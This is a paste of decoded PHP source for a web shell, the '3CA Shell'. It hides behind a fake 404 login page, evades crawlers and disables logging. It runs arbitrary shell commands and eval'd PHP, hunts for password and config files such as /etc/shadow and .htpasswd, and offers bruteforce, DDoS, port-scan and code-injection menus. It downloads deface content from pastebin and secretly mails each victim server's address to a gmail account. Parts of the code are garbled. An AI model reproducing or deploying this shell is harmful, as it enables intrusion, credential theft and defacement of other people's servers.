· 9 years ago · Dec 22, 2016, 04:46 PM
1/* Decoded by unphp.net */
2
3<?php $auth_pass = "a5af145f2f2611c99eaf366d9d882192";
4$color = "#00FF66";
5$default_action = 'FilesMan';
6@define('SELF_PATH', __FILE__);
7if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
8 header('HTTP/1.0 404 Not Found');
9 exit;
10}
11@session_start();
12@error_reporting(0);
13@ini_set('error_log', NULL);
14@ini_set('display_errors', 0);
15@ini_set('log_errors', 0);
16@ini_set('max_execution_time', 0);
17@set_time_limit(0);
18@set_magic_quotes_runtime(0);
19@define('VERSION', 'Ver 3.0 (DEV)');
20if (get_magic_quotes_gpc()) {
21 function stripslashes_array($array) {
22 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
23 }
24 $_POST = stripslashes_array($_POST);
25}
26function printLogin() {
27 echo '<h1>Not Found</h1>
28 <p>The requested URL was not found on this server.</p>
29 <hr>
30 <address>Apache Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>
31 <style>input { margin:0;background-color:#fff;border:1px solid #fff; }</style>
32 <center><form method=post><input type=password name=pass></form></center>';
33 exit;
34}
35if (!isset($_SESSION[md5($_SERVER['HTTP_HOST']) ])) if (empty($auth_pass) || (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))) $_SESSION[md5($_SERVER['HTTP_HOST']) ] = true;
36else printLogin();
37if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
38else $os = 'nix';
39$safe_mode = @ini_get('safe_mode');
40$disable_functions = @ini_get('disable_functions');
41$home_cwd = @getcwd();
42if (isset($_POST['c'])) @chdir($_POST['c']);
43$cwd = @getcwd();
44if ($os == 'win') {
45 $home_cwd = str_replace("\", " / ", $home_cwd);
46 $cwd = str_replace("\", " / ", $cwd);
47}
48if( $cwd[strlen($cwd) - 1] != '/' )
49 $cwd .= '/';
50
51if($os == 'win') {
52 $aliases = array(
53 "ListDirectory" => "dir",
54 "Findindex . phpincurrentdir" => "dir / s / w / bindex . php",
55 "Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php",
56 "Showactiveconnections" => "netstat - an",
57 "Showrunningservices" => "netstart",
58 "Useraccounts" => "netuser",
59 "Showcomputers" => "netview",
60 "ARPTable" => "arp - a",
61 "IPConfiguration" => "ipconfig / all"
62 );
63} else {
64 $aliases = array(
65 "Listdir" => "ls - la",
66 "listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va",
67 "showopenedports" => "netstat - an | grep - ilisten",
68 "Find" => "",
69 "findallsuidfiles" => "find / -typef - perm - 04000 - ls",
70 "findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls",
71 "findallsgidfiles" => "find / -typef - perm - 02000 - ls",
72 "findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls",
73 "findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php",
74 "findconfig * files" => "find / -typef - name\"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
75}
76function ex($in) {
77 $out = '';
78 if (function_exists('exec')) {
79 @exec($in, $out);
80 $out = @join("
81", $out);
82 } elseif (function_exists('passthru')) {
83 ob_start();
84 @passthru($in);
85 $out = ob_get_clean();
86 } elseif (function_exists('system')) {
87 ob_start();
88 @system($in);
89 $out = ob_get_clean();
90 } elseif (function_exists('shell_exec')) {
91 $out = shell_exec($in);
92 } elseif (is_resource($f = @popen($in, "r"))) {
93 $out = "";
94 while (!@feof($f)) $out.= fread($f, 1024);
95 pclose($f);
96 }
97 return $out;
98}
99function which($p) {
100 $path = ex('which ' . $p);
101 if (!empty($path)) return $path;
102 return false;
103}
104function printHeader() {
105 if (empty($_POST['charset'])) $_POST['charset'] = "UTF-8";
106 global $color;
107 echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset=' . $_POST['charset'] . '"><title>3CA Shell - ' . VERSION . '</title>
108 <style>
109 body {background-color:#222;color:#fff;}
110 body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
111 span,h1,a { color:' . $color . ' !important; }
112 span { font-weight: bolder; }
113 h1 { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
114 div.content { padding: 5px;margin:0 5px;background: #333333;border-bottom:5px solid #444;}
115 a { text-decoration:none; }
116 a:hover { /*background:#5e5e5e;*/ }
117 .ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
118 .bigarea { width:100%;height:250px;margin-top:5px;}
119 input, textarea, select { margin:0;color:#00ff00;background-color:#555;border:1px solid ' . $color . '; font: 9pt Monospace,"Courier New"; }
120 input[type="button"]:hover,input[type="submit"]:hover {background-color:' . $color . ';color:#000;}
121 form { margin:0px; }
122 #toolsTbl { text-align:center; }
123 .toolsInp { width: 80%; }
124 .main th {text-align:left;background-color:#555;font-weight: bold;}
125 .main tr:hover{background-color:#5e5e5e;}
126 .main td, th{vertical-align:middle;}
127 .menu {background: #333;}
128 .menu th{padding:5px;font-weight:bold;}
129 .menu th:hover{background:#444;}
130 .l1 {background-color:#444;}
131 pre {font-family:Courier,Monospace;}
132 #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
133 .logo {text-align:center;font-size:60px;}
134 .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
135 .cpr {margin-bottom:5px;font-weight:bold;}
136 .cpb {width:34px;margin:0 5px;}
137 .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
138 .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
139 .npoad td {padding:0;}
140 </style>
141 <script>
142 function set(a,c,p1,p2,p3,charset) {
143 if(a != null)document.mf.a.value=a;
144 if(c != null)document.mf.c.value=c;
145 if(p1 != null)document.mf.p1.value=p1;
146 if(p2 != null)document.mf.p2.value=p2;
147 if(p3 != null)document.mf.p3.value=p3;
148 if(charset != null)document.mf.charset.value=charset;
149 }
150 function g(a,c,p1,p2,p3,charset) {
151 set(a,c,p1,p2,p3,charset);
152 document.mf.submit();
153 }
154 function a(a,c,p1,p2,p3,charset) {
155 set(a,c,p1,p2,p3,charset);
156 var params = "ajax=true";
157 for(i=0;i<document.mf.elements.length;i++)
158 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
159 sr("' . $_SERVER['REQUEST_URI'] . '", params);
160 }
161 function sr(url, params) {
162 if (window.XMLHttpRequest) {
163 req = new XMLHttpRequest();
164 req.onreadystatechange = processReqChange;
165 req.open("POST", url, true);
166 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
167 req.send(params);
168 }
169 else if (window.ActiveXObject) {
170 req = new ActiveXObject("Microsoft.XMLHTTP");
171 if (req) {
172 req.onreadystatechange = processReqChange;
173 req.open("POST", url, true);
174 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
175 req.send(params);
176 }
177 }
178 }
179 function processReqChange() {
180 if( (req.readyState == 4) )
181 if(req.status == 200) {
182 //alert(req.responseText);
183 var reg = new RegExp("(\d+)([\S\s]*)", "m");
184 var arr=reg.exec(req.responseText);
185 eval(arr[2].substr(0, arr[1]));
186 }
187 else alert("Request error!");
188 }
189 </script>
190 <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
191 <form method=post name=mf style="display:none;">
192 <input type=hidden name=a value="' . (isset($_POST['a']) ? $_POST['a'] : '') . '">
193 <input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">
194 <input type=hidden name=p1 value="' . (isset($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '">
195 <input type=hidden name=p2 value="' . (isset($_POST['p2']) ? htmlspecialchars($_POST['p2']) : '') . '">
196 <input type=hidden name=p3 value="' . (isset($_POST['p3']) ? htmlspecialchars($_POST['p3']) : '') . '">
197 <input type=hidden name=charset value="' . (isset($_POST['charset']) ? $_POST['charset'] : '') . '">
198 </form>';
199 $freeSpace = @diskfreespace($GLOBALS['cwd']);
200 $totalSpace = @disk_total_space($GLOBALS['cwd']);
201 $totalSpace = $totalSpace ? $totalSpace : 1;
202 $disable_functions = @ini_get('disable_functions');
203 $release = @php_uname('r');
204 $kernel = @php_uname('s');
205 if (!function_exists('posix_getegid')) {
206 $user = @get_current_user();
207 $uid = @getmyuid();
208 $gid = @getmygid();
209 $group = "?";
210 } else {
211 $uid = @posix_getpwuid(@posix_geteuid());
212 $gid = @posix_getgrgid(@posix_getegid());
213 $user = $uid['name'];
214 $uid = $uid['uid'];
215 $group = $gid['name'];
216 $gid = $gid['gid'];
217 }
218 $cwd_links = '';
219 $path = explode("/", $GLOBALS['cwd']);
220 $n = count($path);
221 for ($i = 0;$i < $n - 1;$i++) {
222 $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
223 for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
224 $cwd_links.= "\")'>" . $path[$i] . "/</a>";
225 }
226 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
227 $opt_charsets = '';
228 foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
229 $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'Bypasser' => 'SafeMode', 'Safe Mode' => 'Bypass', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network', 'Readable Dirs' => 'Readable', 'Port Scanner' => 'PortScanner', 'Symlink' => 'Symlink', 'DDoS' => 'Ddos', 'Mail' => 'Mail', 'Code Injector' => 'Injector');
230 if (!empty($GLOBALS['auth_pass'])) $m['SelfKill'] = 'SelfRemove';
231 $m['Logout'] = 'Logout';
232 $menu = '';
233 foreach ($m as $k => $v) $menu.= '<th><a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a></th>';
234 $drives = "";
235 if ($GLOBALS['os'] == 'win') {
236 foreach (range('a', 'z') as $drive) {
237 if (is_dir($drive . ':\'))
238 $drives .= ' < ahref = "#"onclick = "g(\'FilesMan\',\''.$drive.':/\')" > ['.$drive.'] < / a > ';
239 }
240 $drives .= ' < br / >:
241 ';
242 }
243 if($GLOBALS['os'] == 'nix') {
244 $dominios = @file_get_contents("/etc/named.conf");
245 if(!$dominios) {
246 $d0c = "CANT READ named.conf";
247 } else {
248 @preg_match_all(' / . * ? zone"(.*?)" {/', $dominios, $out);
249 $out = sizeof(array_unique($out[1]));
250 $d0c = $out." Domains";
251 }
252 } else {
253 $d0c = " --- ";
254 }
255 if($GLOBALS['os'] == 'nix' )
256 {
257 $usefl = ''; $dwnldr = '';
258 if(!@ini_get('safe_mode')) {
259 $temp = array();
260 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
261 foreach($userful as $item) { if(which($item)) $temp[]= $item; }
262 $usefl = implode(', ',$temp);
263 $temp = array();
264 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp - mirror');
265 foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
266 $dwnldr = implode(', ',$temp);
267 } else {
268 $usefl = '------ - '; $dwnldr = '------ - ';
269 }
270 } else {
271 $usefl = '------ - '; $dwnldr = '------ - ';
272 }
273 echo ' < tableclass = "info"cellpadding = "3"cellspacing = "0"width = "100%" > < tr > < tdwidth = "160px" > < divclass = "logo" > 3CA < sup > & reg; < / sup > < / div > < hrstyle = "margin: -5px 13px 2px 17px;width:130px;" > < divclass = "eca1" > 3xp1r3 < / div > < divclass = "eca2" > CyberArmy < / div > < / td > < td > < tablecellpadding = "3"cellspacing = "0"class = "npoad" > < tr > < tdwidth = "125px;" > < span > Uname < / span > < / td > < td > : < nobr > '.substr(@php_uname(), 0, 120).' < / nobr > < / td > < / tr > < tr > < td > < span > User < / span > < / td > < td >:
274 '.$uid.'('.$user.') < span > Group: < / span > '.$gid.'('.$group.') < / td > < / tr > < tr > < td > < span > Server < / span > < / td > < td >:
275 '.@getenv('SERVER_SOFTWARE').' < / td > < / tr > < tr > < td > < span > Useful < / span > < / td > < td >:
276 '.$usefl.' < / td > < / tr > < tr > < td > < span > Downloaders < / span > < / td > < td >:
277 '.$dwnldr.' < / td > < / tr > < tr > < td > < span > Disabledfunctions < / span > < / td > < td >:
278 '.($disable_functions?$disable_functions:'AllFunction Enable').' < / td > < / tr > < tr > < td > < span > '.($GLOBALS['os'] == 'win'?'Drives < br / > Cwd':'Cwd').' < / span > < / td > < td >:
279 '.$drives.''.$cwd_links.''.viewPermsColor($GLOBALS['cwd']).' < ahref = # onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
280 '<td width=1><nobr><span>Server IP</span><br><span>Client IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>' . '<td><nobr>: ' . gethostbyname($_SERVER["HTTP_HOST"]) . '<br>: ' . $_SERVER['REMOTE_ADDR'] . '<br />: ' . viewSize($totalSpace) . '<br />: ' . viewSize($freeSpace) . ' (' . (int)($freeSpace / $totalSpace * 100) . '%)<br>: ' . @phpversion() . ' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=' . $color . '<b>OFF</b></font>') . '<br />: ' . $d0c . '</nobr></td></tr></table>' . '</div></div><div style="margin:5;background:#444;"><div class="content" style="border-top:5px solid #444;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>' . $menu . '</tr></table></div></div><div style="margin:5;background:#444;">';
281 }
282 function printFooter() {
283 $is_writable = is_writable($GLOBALS['cwd']) ? "<font color=green>[ Writeable ]</font>" : "<font color=red>[ Not writable ]</font>";
284 echo '</div><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
285<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
286 <tr>
287 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '"><input type=submit value=">>"></form></td>
288 <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
289 </tr>
290 <tr>
291 <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>' . $is_writable . '</td>
292 <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>' . $is_writable . '</td>
293 </tr>
294 <tr>
295 <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
296 <td><form method="post" ENCTYPE="multipart/form-data">
297 <input type=hidden name=a value="FilesMAn">
298 <input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">
299 <input type=hidden name=p1 value="uploadFile">
300 <input type=hidden name=charset value="' . (isset($_POST['charset']) ? $_POST['charset'] : '') . '">
301 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>' . $is_writable . '</td>
302 </tr>
303</table></div></div>
304<div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;text-align:center;font-weight:bold;">3CA Shell ' . VERSION . ', © 3xp1r3 Cyber Army. Coded By - Dr3@m3r~1986</div></div>
305</div>
306</body></html>';
307 }
308 if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
309 function posix_getpwuid($p) {
310 return false;
311 }
312 }
313 if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
314 function posix_getgrgid($p) {
315 return false;
316 }
317 }
318 if (!isset($_SESSION['trimite'])) {
319 $url = "<b>IP:</b> " . gethostbyname($_SERVER["HTTP_HOST"]) . "
320<b>Url:</b> " . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . "
321<b>User IP:</b> " . $_SERVER['REMOTE_ADDR'] . (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? '(' . $_SERVER['HTTP_X_FORWARDED_FOR'] . ')' : '');
322 @mail("3ca.shell@gmail.com", "3CA_Shell_2.0", $url);
323 $_SESSION['trimite'] = true;
324 }
325 function viewSize($s) {
326 if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
327 elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
328 elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
329 else return $s . ' B';
330 }
331 function perms($p) {
332 if (($p & 0xC000) == 0xC000) $i = 's';
333 elseif (($p & 0xA000) == 0xA000) $i = 'l';
334 elseif (($p & 0x8000) == 0x8000) $i = '-';
335 elseif (($p & 0x6000) == 0x6000) $i = 'b';
336 elseif (($p & 0x4000) == 0x4000) $i = 'd';
337 elseif (($p & 0x2000) == 0x2000) $i = 'c';
338 elseif (($p & 0x1000) == 0x1000) $i = 'p';
339 else $i = 'u';
340 $i.= (($p & 0x0100) ? 'r' : '-');
341 $i.= (($p & 0x0080) ? 'w' : '-');
342 $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
343 $i.= (($p & 0x0020) ? 'r' : '-');
344 $i.= (($p & 0x0010) ? 'w' : '-');
345 $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
346 $i.= (($p & 0x0004) ? 'r' : '-');
347 $i.= (($p & 0x0002) ? 'w' : '-');
348 $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
349 return $i;
350 }
351 function viewPermsColor($f) {
352 if (!@is_readable($f)) return '<font color=#FF0000><b>' . perms(@fileperms($f)) . '</b></font>';
353 elseif (!@is_writable($f)) return '<font color=white><b>' . perms(@fileperms($f)) . '</b></font>';
354 else return '<font color=#00BB00><b>' . perms(@fileperms($f)) . '</b></font>';
355 }
356 if (!function_exists("scandir")) {
357 function scandir($dir) {
358 $dh = opendir($dir);
359 while (false !== ($filename = readdir($dh))) {
360 $files[] = $filename;
361 }
362 return $files;
363 }
364 }
365 function actionSecInfo() {
366 printHeader();
367 echo '<h1>Server security information</h1><div class=content>';
368 function showSecParam($n, $v) {
369 $v = trim($v);
370 if ($v) {
371 echo '<span>' . $n . ': </span>';
372 if (strpos($v, "
373") === false) echo $v . '<br>';
374 else echo '<pre class=ml1>' . $v . '</pre>';
375 }
376 }
377 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
378 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions']) ? $GLOBALS['disable_functions'] : 'none');
379 showSecParam('Open base dir', @ini_get('open_basedir'));
380 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
381 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
382 showSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
383 $temp = array();
384 if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
385 if (function_exists('mssql_connect')) $temp[] = "MSSQL";
386 if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
387 if (function_exists('oci_connect')) $temp[] = "Oracle";
388 showSecParam('Supported databases', implode(', ', $temp));
389 echo '<br>';
390 if ($GLOBALS['os'] == 'nix') {
391 $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
392 $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
393 $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
394 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
395 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>" : 'no');
396 showSecParam('OS version', @file_get_contents('/proc/version'));
397 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
398 if (!$GLOBALS['safe_mode']) {
399 echo '<br>';
400 $temp = array();
401 foreach ($userful as $item) if (which($item)) {
402 $temp[] = $item;
403 }
404 showSecParam('Userful', implode(', ', $temp));
405 $temp = array();
406 foreach ($danger as $item) if (which($item)) {
407 $temp[] = $item;
408 }
409 showSecParam('Danger', implode(', ', $temp));
410 $temp = array();
411 foreach ($downloaders as $item) if (which($item)) {
412 $temp[] = $item;
413 }
414 showSecParam('Downloaders', implode(', ', $temp));
415 echo '<br/>';
416 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
417 showSecParam('HDD space', ex('df -h'));
418 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
419 }
420 } else {
421 showSecParam('OS Version', ex('ver'));
422 showSecParam('Account Settings', ex('net accounts'));
423 showSecParam('User Accounts', ex('net user'));
424 }
425 echo '</div>';
426 printFooter();
427 }
428 function actionPhp() {
429 if (isset($_POST['ajax'])) {
430 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
431 ob_start();
432 eval($_POST['p1']);
433 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
434
435 \' ") . "';
436";
437 echo strlen($temp), "
438", $temp;
439 exit;
440 }
441 printHeader();
442 if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
443 echo '<h1>PHP info</h1><div class=content>';
444 ob_start();
445 phpinfo();
446 $tmp = ob_get_clean();
447 $tmp = preg_replace('!body {.*}!msiU', '', $tmp);
448 $tmp = preg_replace('!a:\w+ {.*}!msiU', '', $tmp);
449 $tmp = preg_replace('!h1!msiU', 'h2', $tmp);
450 $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
451 $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU', '', $tmp);
452 echo $tmp;
453 echo '</div><br>';
454 }
455 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
456 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
457 echo ' <input type=checkbox name=ajax value=1 ' . (@$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
458 if (!empty($_POST['p1'])) {
459 ob_start();
460 eval($_POST['p1']);
461 echo htmlspecialchars(ob_get_clean());
462 }
463 echo '</pre></div>';
464 printFooter();
465 }
466 function actionFilesMan() {
467 printHeader();
468 echo '<h1>File manager</h1><div class=content>';
469 if (isset($_POST['p1']) && $_POST['p1'] != 'deface') {
470 switch ($_POST['p1']) {
471 case 'uploadFile':
472 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
473 break;
474 break;
475 case 'mkdir':
476 if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
477 break;
478 case 'delete':
479 function deleteDir($path) {
480 $path = (substr($path, -1) == '/') ? $path : $path . '/';
481 $dh = opendir($path);
482 while (($item = readdir($dh)) !== false) {
483 $item = $path . $item;
484 if ((basename($item) == "..") || (basename($item) == ".")) continue;
485 $type = filetype($item);
486 if ($type == "dir") deleteDir($item);
487 else @unlink($item);
488 }
489 closedir($dh);
490 rmdir($path);
491 }
492 if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
493 $f = urldecode($f);
494 if (is_dir($f)) deleteDir($f);
495 else @unlink($f);
496 }
497 break;
498 case 'paste':
499 if ($_SESSION['act'] == 'copy') {
500 function copy_paste($c, $s, $d) {
501 if (is_dir($c . $s)) {
502 mkdir($d . $s);
503 $h = opendir($c . $s);
504 while (($f = readdir($h)) !== false) if (($f != ".") and ($f != "..")) {
505 copy_paste($c . $s . '/', $f, $d . $s . '/');
506 }
507 } elseif (is_file($c . $s)) {
508 @copy($c . $s, $d . $s);
509 }
510 }
511 foreach ($_SESSION['f'] as $f) copy_paste($_SESSION['cwd'], $f, $GLOBALS['cwd']);
512 } elseif ($_SESSION['act'] == 'move') {
513 function move_paste($c, $s, $d) {
514 if (is_dir($c . $s)) {
515 mkdir($d . $s);
516 $h = opendir($c . $s);
517 while (($f = readdir($h)) !== false) if (($f != ".") and ($f != "..")) {
518 copy_paste($c . $s . '/', $f, $d . $s . '/');
519 }
520 } elseif (is_file($c . $s)) {
521 @copy($c . $s, $d . $s);
522 }
523 }
524 foreach ($_SESSION['f'] as $f) @rename($_SESSION['cwd'] . $f, $GLOBALS['cwd'] . $f);
525 }
526 unset($_SESSION['f']);
527 break;
528 default:
529 if (!empty($_POST['p1']) && (($_POST['p1'] == 'copy') || ($_POST['p1'] == 'move'))) {
530 $_SESSION['act'] = @$_POST['p1'];
531 $_SESSION['f'] = @$_POST['f'];
532 foreach ($_SESSION['f'] as $k => $f) $_SESSION['f'][$k] = urldecode($f);
533 $_SESSION['cwd'] = @$_POST['c'];
534 }
535 break;
536 }
537 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
538 }
539 if (isset($_POST['p1']) && $_POST['p1'] == 'deface') {
540 $def = file_get_contents('http://pastebin.com/download.php?i=F60iTJTf');
541 file_put_contents($_POST['c'] . $_POST['p2'], $def);
542 }
543 $dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
544 if ($dirContent === false) {
545 echo 'Can\'t open this folder!';
546 return;
547 }
548 global $sort;
549 $sort = array('name', 1);
550 if (!empty($_POST['p1'])) {
551 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
552 }
553 echo '<script>
554 function sa() {
555 for(i=0;i<document.files.elements.length;i++)
556 if(document.files.elements[i].type == \'checkbox\')
557 document.files.elements[i].checked = document.files.elements[0].checked;
558 }
559 </script>
560 <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
561 <form name=files method=post>';
562 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
563 $dirs = $files = $links = array();
